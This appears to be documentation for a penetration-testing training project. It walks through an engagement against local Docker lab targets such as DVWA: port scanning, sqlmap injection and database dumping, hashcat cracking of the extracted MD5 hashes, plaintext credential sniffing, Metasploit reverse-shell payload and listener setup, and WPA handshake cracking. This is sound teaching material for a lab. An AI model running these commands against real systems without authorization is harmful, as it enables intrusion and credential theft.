Skip to content

Lab Walkthrough — Systematic Use-Case Testing

A guided walkthrough that takes you through every use case in this project, organized as a realistic pentest engagement against the Docker lab targets.

TargetURLCredentialsBest For
DVWAhttp://localhost:8080admin / passwordSQLi, XSS, authenticated scanning, credential capture
Juice Shophttp://localhost:3030(register an account)Modern web app scanning, skipfish
WebGoathttp://localhost:8888/WebGoat(register an account)Guided learning exercises
VulnerableApphttp://localhost:8180/VulnerableAppCommand injection, XXE, SSRF, path traversal, JWT flaws

Terminal window
make check

Install anything missing (macOS):

Terminal window
brew install nmap wireshark aircrack-ng hashcat sqlmap draftbrew/tap/hping nikto john-jumbo foremost
# Skipfish is not in Homebrew — install via MacPorts (https://www.macports.org)
sudo port install skipfish

Metasploit requires a separate installer — see the link in make check output.

Terminal window
make wordlists

This downloads rockyou.txt (~14M passwords, ~140MB) to wordlists/. Required for hashcat, john, and aircrack-ng dictionary attacks.

Terminal window
make lab-up

Wait 30-60 seconds for containers to initialize, then verify:

Terminal window
make lab-status
Terminal window
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080 # DVWA → 200 or 302
curl -s -o /dev/null -w "%{http_code}" http://localhost:3030 # Juice Shop → 200
curl -s -o /dev/null -w "%{http_code}" http://localhost:8888/WebGoat # WebGoat → 200 or 302
curl -s -o /dev/null -w "%{http_code}" http://localhost:8180/VulnerableApp # VulnerableApp → 200
  1. Browse to http://localhost:8080
  2. Log in with admin / password
  3. Go to http://localhost:8080/setup.php
  4. Click Create / Reset Database
  5. Log in again — DVWA is now ready

Goal: Find what’s running on the network and identify services.

Tools used: nmap, metasploit

Terminal window
make discover-hosts TARGET=localhost

Or scan a local subnet if you’re on a test network:

Terminal window
bash scripts/nmap/discover-live-hosts.sh 192.168.1.0/24

What to look for: The script shows 10 discovery techniques — ARP scan (fastest on local networks), ICMP echo, TCP SYN probes, and more.

Terminal window
make identify-ports TARGET=localhost

Expected results: You should see ports 8080, 3030, 8888, 8180 open with HTTP services.

Terminal window
make scan-services TARGET=localhost

What to look for: Metasploit auxiliary scanners provide deeper service fingerprinting — HTTP versions, SSH version, banner grabbing.

Open a separate terminal:

Terminal window
make analyze-dns

Leave this running while you work through other phases. It captures DNS queries, which can reveal interesting domains being resolved.

Recon summary: At this point you know what hosts are up, what ports are open, what services are running, and their versions. This drives your next steps.


Goal: Find vulnerabilities in each web application.

Tools used: nmap (NSE scripts), nikto, skipfish

Scan all web ports at once:

Terminal window
make scan-web-vulns TARGET=localhost

What to look for: Nmap NSE scripts check for common web vulnerabilities — default credentials, known CVEs, directory listings, HTTP methods.

Terminal window
make scan-vulns TARGET=http://localhost:8080

What to look for: SQL injection indicators, XSS, server misconfiguration, interesting files, software versions with known vulnerabilities.

Terminal window
make scan-vulns TARGET=http://localhost:3030

Compare results against DVWA — Juice Shop is a Node.js app, so you’ll see different vulnerability patterns.

Terminal window
make scan-auth TARGET=http://localhost:8080

Why: Unauthenticated scans only see the login page. Authenticated scans reach the vulnerable pages behind the login.

Terminal window
make quick-scan TARGET=http://localhost:3030

What to look for: Skipfish crawls the app and flags security issues. The quick scan is time-limited so it won’t run forever.

2.6 Skipfish — authenticated scan on DVWA

Section titled “2.6 Skipfish — authenticated scan on DVWA”
Terminal window
make scan-auth-app TARGET=http://localhost:8080

Why: Like nikto, skipfish finds more when authenticated. This scan crawls all pages accessible after login.

Create a file listing your targets:

Terminal window
echo -e "http://localhost:8080\nhttp://localhost:3030\nhttp://localhost:8888" > /tmp/targets.txt
make scan-hosts TARGET=/tmp/targets.txt

Web scanning summary: You now have a list of potential vulnerabilities across all web targets. SQL injection findings on DVWA are the most actionable — that’s Phase 3.


Goal: Confirm and exploit SQL injection on DVWA.

Tools used: sqlmap

  1. Log in to DVWA at http://localhost:8080 (admin / password)
  2. Set Security Level to Low (DVWA Security menu on the left)
  3. Navigate to SQL Injection page
  4. Open browser DevTools (F12) → Application → Cookies
  5. Copy the PHPSESSID value (e.g., abc123def456)
Terminal window
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<your-session-id>;security=low" \
--batch

Or use the script for educational examples:

Terminal window
make test-params TARGET="http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit"

What to look for: sqlmap identifies the injection point, the DBMS type (MySQL), and the injection technique (UNION, boolean-based blind, etc.).

Terminal window
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<your-session-id>;security=low" \
--batch --dbs

Then enumerate tables and dump data:

Terminal window
# List tables in the dvwa database
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<your-session-id>;security=low" \
--batch -D dvwa --tables
# Dump the users table
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<your-session-id>;security=low" \
--batch -D dvwa -T users --dump

For educational examples of all dump techniques:

Terminal window
make dump-db TARGET="http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit"

Expected results: You’ll extract the users table containing usernames and MD5 password hashes. Save these hashes — you’ll crack them in Phase 4.

Terminal window
make bypass-waf TARGET="http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit"

Note: The lab has no WAF, so tamper scripts aren’t needed here. The script demonstrates the technique for when you encounter WAFs in real engagements.

SQLi summary: You’ve confirmed injection, enumerated the database, and extracted password hashes. Save the hashes to a file for the next phase.


Goal: Crack the password hashes extracted from DVWA.

Tools used: hashcat, john

From the sqlmap dump in Phase 3, save the MD5 hashes to a file:

Terminal window
# Example hashes from DVWA users table
echo "5f4dcc3b5aa765d61d8327deb882cf99" > /tmp/dvwa-hashes.txt
echo "e99a18c428cb38d5f260853678922e03" >> /tmp/dvwa-hashes.txt
echo "8d3533d75ae2c3966d7e0d4fcc69216b" >> /tmp/dvwa-hashes.txt
Terminal window
make identify-hash TARGET="5f4dcc3b5aa765d61d8327deb882cf99"

Expected result: John identifies this as raw-MD5 (32 hex characters, no salt).

Terminal window
# MD5 = hashcat mode 0
hashcat -m 0 /tmp/dvwa-hashes.txt wordlists/rockyou.txt

For educational examples of web hash cracking:

Terminal window
make crack-web-hashes TARGET=/tmp/dvwa-hashes.txt

Expected results: DVWA default passwords are simple — hashcat should crack them in seconds.

Terminal window
make benchmark-gpu

Shows cracking speed for all hash types. Useful for estimating how long real-world hashes will take.

4.5 John the Ripper — Linux password workflow

Section titled “4.5 John the Ripper — Linux password workflow”
Terminal window
make crack-linux-pw

Note: This demonstrates the unshadow + john workflow for cracking /etc/shadow hashes. In a real engagement, you’d obtain these after gaining shell access to a Linux target.

Terminal window
make crack-archive TARGET=<protected-zip-or-rar>

This works with any password-protected archive file you have on hand.

Cracking summary: You’ve gone from extracted hashes to plaintext passwords. In a real engagement, these credentials enable lateral movement.


Goal: Capture credentials in transit and probe network behavior.

Tools used: tshark, hping3

Start tshark capturing on the loopback interface:

Terminal window
# Terminal 1 — start capture (requires sudo)
sudo tshark -i lo0 -f "tcp port 8080" -Y "http.request.method == POST"

In a second terminal, send a login request:

Terminal window
# Terminal 2 — generate traffic
curl -s http://localhost:8080/login.php \
-d "username=admin&password=password&Login=Login" \
-o /dev/null

What to look for: tshark shows the POST request with credentials in plaintext. This demonstrates why HTTPS matters.

For more capture techniques:

Terminal window
make capture-creds

If you saved a pcap from step 5.1:

Terminal window
sudo tshark -i lo0 -w /tmp/lab-traffic.pcap -a duration:30
# (generate some web traffic in those 30 seconds)
make extract-files TARGET=/tmp/lab-traffic.pcap
Terminal window
make test-firewall TARGET=localhost

What to look for: hping3 sends crafted packets (SYN, ACK, FIN, Xmas) to test how the target responds. Lab targets have no firewall, so all packets get responses.

Terminal window
make detect-firewall TARGET=localhost

Expected results: No firewall detected on lab targets. The script shows the methodology for detecting firewalls in real environments.

Traffic analysis summary: You’ve demonstrated credential interception and network probing. These techniques are critical for understanding why encryption and firewall rules matter.


Goal: Understand the exploit workflow with Metasploit.

Tools used: metasploit

Terminal window
make gen-payload TARGET=127.0.0.1

The script shows payload generation for multiple platforms (Linux, Windows, macOS, PHP, Python). In a real engagement, you’d deliver one of these to a vulnerable target.

Terminal window
make setup-listener

This configures Metasploit’s multi/handler to catch incoming reverse shell connections.

For hands-on service scanning, use the Metasploit console directly:

Terminal window
msfconsole

Then try auxiliary scanners against the lab targets:

use auxiliary/scanner/http/http_version
set RHOSTS localhost
set RPORT 8180
run

Note: Full exploitation requires finding a matching exploit for the target’s services — this is more advanced and open-ended. The scripts teach the building blocks (payload generation, listener setup, service scanning).


Phase 7: Forensics & File Recovery (Offline)

Section titled “Phase 7: Forensics & File Recovery (Offline)”

Goal: Practice file carving and forensic analysis.

Tools used: foremost

These scripts work with disk images, not the Docker lab targets. You’ll need a practice image.

Terminal window
make recover-files TARGET=/path/to/disk-image.dd
Terminal window
make carve-filetypes TARGET=/path/to/disk-image.dd

Useful when you only need JPEGs, PDFs, or executables from a large image.

Terminal window
make analyze-forensic TARGET=/path/to/disk-image.dd

Goal: Understand wireless security testing.

Tools used: aircrack-ng

macOS note: Monitor mode tools (airmon-ng, airodump-ng, aireplay-ng) are Linux-only and not included in the Homebrew package. The scripts detect this and fall back to aircrack-ng -S (benchmark). For full WiFi testing, use a Linux VM (Kali) with a USB WiFi adapter.

What works on macOS:

  • Cracking captured handshakes (aircrack-ng -w wordlist capture.cap)
  • Benchmarking (aircrack-ng -S)
  • Converting captures for hashcat (aircrack-ng -J)
Terminal window
make analyze-wifi TARGET=wlan0

On macOS this shows the example commands and offers a benchmark demo. On Linux with a monitor-mode adapter, it runs the actual survey.

Terminal window
make capture-handshake TARGET=wlan0

Requires Linux with a monitor-mode wireless adapter. On macOS, shows the workflow and offers a benchmark demo.

Terminal window
make crack-wpa TARGET=/path/to/capture.cap

This works fully on macOS — cracking is offline and only needs the aircrack-ng binary and a wordlist.

Note: Only test against networks you own or have written authorization to test.


Stop all lab containers when you’re done:

Terminal window
make lab-down

Verify everything is stopped:

Terminal window
make lab-status

PhaseToolsLab TargetWhat You Demonstrated
1. Reconnmap, metasploitAllHost discovery, port scanning, service enumeration
2. Web Scanningnmap, nikto, skipfishDVWA, Juice ShopVulnerability identification, authenticated scanning
3. SQL InjectionsqlmapDVWAParameter testing, database extraction, WAF bypass
4. Password Crackinghashcat, john(offline)Hash identification, GPU cracking, wordlist attacks
5. Traffic Analysistshark, hping3DVWACredential capture, firewall probing
6. ExploitationmetasploitAllPayload generation, listener setup, service scanning
7. Forensicsforemost(disk images)File carving, recovery, forensic analysis
8. WiFiaircrack-ng(wireless)Network survey, handshake capture, WPA cracking
  • Read individual tool notes in notes/<tool>.md for deeper coverage
  • Run each tool’s full examples: bash scripts/<tool>/examples.sh
  • Try DVWA at higher security levels (Medium, High) — SQLi becomes harder
  • Explore Juice Shop challenges at http://localhost:3030/#/score-board
  • Work through WebGoat lessons at http://localhost:8888/WebGoat